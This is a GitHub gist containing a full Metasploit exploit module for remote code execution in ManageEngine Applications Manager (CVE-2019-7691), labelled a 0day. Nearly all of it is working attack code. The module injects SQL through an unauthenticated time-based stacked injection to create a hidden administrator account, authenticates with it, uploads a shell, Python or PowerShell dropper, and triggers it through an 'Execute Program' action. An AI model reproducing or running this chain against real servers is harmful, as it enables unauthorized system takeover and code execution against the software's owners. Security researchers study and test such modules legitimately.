Skip to content

Instantly share code, notes, and snippets.

@mdisec
Created April 19, 2019 20:33
Show Gist options
  • Star 3 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save mdisec/eaa96e977a87536ad0660ee4ce8f39c6 to your computer and use it in GitHub Desktop.
Save mdisec/eaa96e977a87536ad0660ee4ce8f39c6 to your computer and use it in GitHub Desktop.
ManageEngine Applications Manager Remote Code Execution 0day
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::Powershell
def initialize(info = {})
super(update_info(info,
'Name' => "ManageEngine Applications Manager Remote Code Execution",
'Description' => %q(
bla bla bla
),
'License' => MSF_LICENSE,
'Author' =>
[
'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module
],
'References' =>
[
['URL', 'https://pentest.blog/change-me'],
['CVE', '2019-7691']
],
'DefaultOptions' =>
{
'RPORT' => 9090,
'WfsDelay' => 30,
'HttpClientTimeout' => 60 # sometimes, specially dropper upload request takes 40-50 second waiting...
},
'Platform' => ['unix', 'python', 'win'],
'Arch' => [ARCH_CMD, ARCH_PYTHON, ARCH_X86, ARCH_X64],
'Targets' =>
[
['Automatic (Python Dropper)',
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'Type' => :python_dropper
],
['Unix (Unix CMD Dropper)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_dropper
],
['Windows (Powershell Dropper)',
'Platform' => 'win',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :psh_dropper
]
],
'Privileged' => true,
'DisclosureDate' => 'Jan 5 2019',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The URI of the application', '/'])
]
)
end
def something_went_wrong
fail_with Failure::Unknown, 'Something went wrong'
end
def detect_new_cookie(res)
# Sometimes, backend system generates new session id. Therefore, we have to use new one.
# In here, we are updating global cookie variable so that upcoming send_request_cgi can use new cookie.
unless res.get_cookies.empty?
@cookie = res.get_cookies
end
end
def sqli_with_validation(query)
# During the exploitation process, we are creating a user by exploiting time-based sqli.
# Before continuing the exploitation process, I would like to check if the user was successfully created.
# Step 1. check that we can reach the host with no problems
# Step 2. check that response time is bigger the t1 as well as integer 5.
# I really don't want to make '5' dynamic value... I hate time-based sqli !
t = Time.now
res = execute_query('select 1')
t1 = Time.now-t
if res && res.body.include?('true')
t = Time.now
execute_query(query)
t2 = Time.now-t
if t2 >= t1 + 5
true
else
false
end
else
something_went_wrong
end
end
def execute_query(query)
# Actual method where we are exploiting the time-based sqli.
# We are going to exploit this sqli multiple time throughout the exploitation process.
sql = rand_text_numeric(1+rand(5))
sql << "');"
sql << query
sql << '--'
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'servlet', 'SyncMonitorInAdminMG'),
'vars_post' => {
'operation' => 2,
'mgResourceID' => rand_text_numeric(1+rand(5)),
'resourceList' => [sql].to_json # payload must be within square brackets !
}
)
end
def create_admin
# One of the feature of this product is to upload and execute anything you want. In order to access to
# this feature, we have to create our own administrator account by exploiting sqli.
@username = rand_text_alphanumeric(8+rand(8))
@password = rand_text_alphanumeric(8+rand(8))
print_status('Creating administrator user by exploiting unauth stacked sqli')
# We have to populate the data on two different table.
query = "insert into am_userpasswordtable (userid,username,password,apikey) values "
# I hate varbinary data-type of mssql. It requires 0x at the beginning of hash without single quote surrounding ! So here we have hacky solution.
query << "('#{rand_text_numeric(3+rand(10))}','#{@username}',#{@dbms == 'mssql' ? "0x#{Rex::Text.md5(@password)}" : "'#{Rex::Text.md5(@password)}'"},'#{Rex::Text.md5(@password)}');"
query << "insert into am_usergrouptable (username,groupname) values ('#{@username}','ADMIN');"
execute_query(query)
print_status('Validating created administrator account')
# Manually crafted time-based sqli payload which call pg_sleep(5) when both table successfully populated.
query = ""
if @dbms == 'mssql'
query << "IF (select count(*) from am_userpasswordtable WHERE username = '#{@username}')>0 "
query << "and (select count(*) from am_usergrouptable Where username ='#{@username}')>0 waitfor delay '00:00:05'"
else # that means we have postgresql. <3 opensource !
query << "SELECT CASE WHEN (SELECT COUNT(*) FROM am_userpasswordtable where username = '#{@username}')>0"
query << "AND ((SELECT COUNT(*) FROM am_usergrouptable where username = '#{@username}'))>0 THEN (select 1 from pg_sleep(5)) ELSE 1 END;"
end
if sqli_with_validation(query)
print_good("Admin username : #{@username}")
print_good("Admin password : #{@password}")
else
something_went_wrong
end
end
def auth
print_status('Authenticating with created user')
# We have to force backend system to generate one session id for us before auth request.
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'applications.do'),
)
if res && res.code == 200 && res.body.include?('Applications Manager Login Screen')
# Ok, it seems we got the cookie now we need to use it for actual authentication
@cookie = res.get_cookies
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'j_security_check'),
'cookie' => @cookie,
'vars_post' => {
'clienttype' => 'html',
'j_username' => @username,
'j_password' => @password
}
)
if res && res.code == 302 && res.body.include?('Redirecting to')
print_good('Successfully authenticated')
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'applications.do'),
'cookie' => @cookie
)
detect_new_cookie(res)
else
something_went_wrong
end
else
something_went_wrong
end
end
def craft_dropper
case target['Type']
when :python_dropper
"python -c \"#{payload.encoded}\""
when :unix_dropper
payload.encoded
when :psh_dropper
cmd_psh_payload(payload.encoded, payload_instance.arch.first, {:remove_comspec => true, :encode_final_payload => true})
end
end
def dropper_extension
case target['Type']
when :unix_dropper
'.sh'
when :python_dropper
'.py'
when :psh_dropper
'.bat'
end
end
def upload_payload
print_status('Uploading payload file')
@filename = rand_text_alpha(8 + rand(4)) + dropper_extension
register_file_for_cleanup(@filename)
data = Rex::MIME::Message.new
data.add_part('./', nil, nil, 'form-data; name="uploadDir"')
data.add_part(craft_dropper, 'application/octet-stream', nil, "form-data; name=\"theFile\"; filename=\"#{@filename}\"")
# Only the god knows why we have to hit that endpoint two times.
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "Upload.do"),
'cookie' => @cookie,
'vars_get' => {
'uploadDir' => './'
}
})
detect_new_cookie(res)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "Upload.do"),
'cookie' => @cookie,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s
})
if res && res.code == 200 && res.body.include?("The file #{@filename} was successfully uploaded")
print_good('Payload successfully uploaded.')
detect_new_cookie(res)
else
fail_with(Failure::Unknown, "#{peer} - Error on uploading file")
end
end
def create_action
# The 'feature' we loved most.
print_status('Creating Execute Program action')
# We need to detect default path where the app have write permission.
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'showTile.do'),
'cookie' => @cookie,
'vars_get' => {
'TileName' => '.ExecProg',
'haid' => 'null',
}
)
if res && res.code == 200 && res.body.include?('execProgExecDir')
path = res.body.scan(/<input type="text" name="execProgExecDir" maxlength="200" size="40" value="(.*)" class="formtext xxlarge">/).flatten[0] || ''
detect_new_cookie(res)
else
something_went_wrong
end
# Now we gotta create action that we need.
@cmd_name = rand_text_alphanumeric(8+rand(8))
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'adminAction.do'),
'cookie' => @cookie,
'vars_post' => {
'actions' => '/showTile.do?TileName=.ExecProg&haid=null',
'method' => 'createExecProgAction',
'id' => 0,
'serversite' => 'local',
'abortafter' => 999999,
'cancel' => 'false',
'choosehost' => -2,
'execProgExecDir' => path,
'command' => @filename,
'displayname' => @cmd_name
}
)
if res && res.code == 200 && res.body.include?('Execute Program action successfully created.')
print_good('Execute Program Action successfully created.')
detect_new_cookie(res)
else
something_went_wrong
end
end
def trigger_action
# We need to find I of action that we've created before and then using this UD value we are going to trigger the payload.
print_status('Searching program action ID')
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'common', 'executeScript.do'),
'cookie' => @cookie,
'vars_get' => {
'method' => 'testAction',
}
)
if res && res.code == 200
regex = /<a href="#" class="actions-links " onClick="fnOpenNewWindowWithHeightWidthPlacement\('\/showActionProfiles.do\?method=getActionDetails&actionid=(\d+)','710','350','250','200'\)">\s+#{@cmd_name}<\/a>/
id = res.body.scan(regex).flatten[0] || ''
print_good("Action ID : #{id}")
detect_new_cookie(res)
print_status('Triggering the payload')
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'common', 'executeScript.do'),
'cookie' => @cookie,
'vars_get' => {
'method' => 'testAction',
'actionID' => id,
'haid' => 'null'
}
)
else
something_went_wrong
end
end
def check
# We can'T validate vulnerability without detect the target dbms system in the first place.
# Beside that, we will use @dbms variable on different stage of the exploitation.
if sqli_with_validation("select pg_sleep(5)")
@dbms = 'postgresql'
Exploit::CheckCode::Vulnerable
elsif sqli_with_validation("waitfor delay '00:00:05'")
@dbms = 'mssql'
Exploit::CheckCode::Vulnerable
else
Exploit::CheckCode::Safe
end
end
def exploit
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') unless check == Exploit::CheckCode::Vulnerable
print_good("Target DBMS : #{@dbms}")
create_admin
auth
upload_payload
create_action
trigger_action
end
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment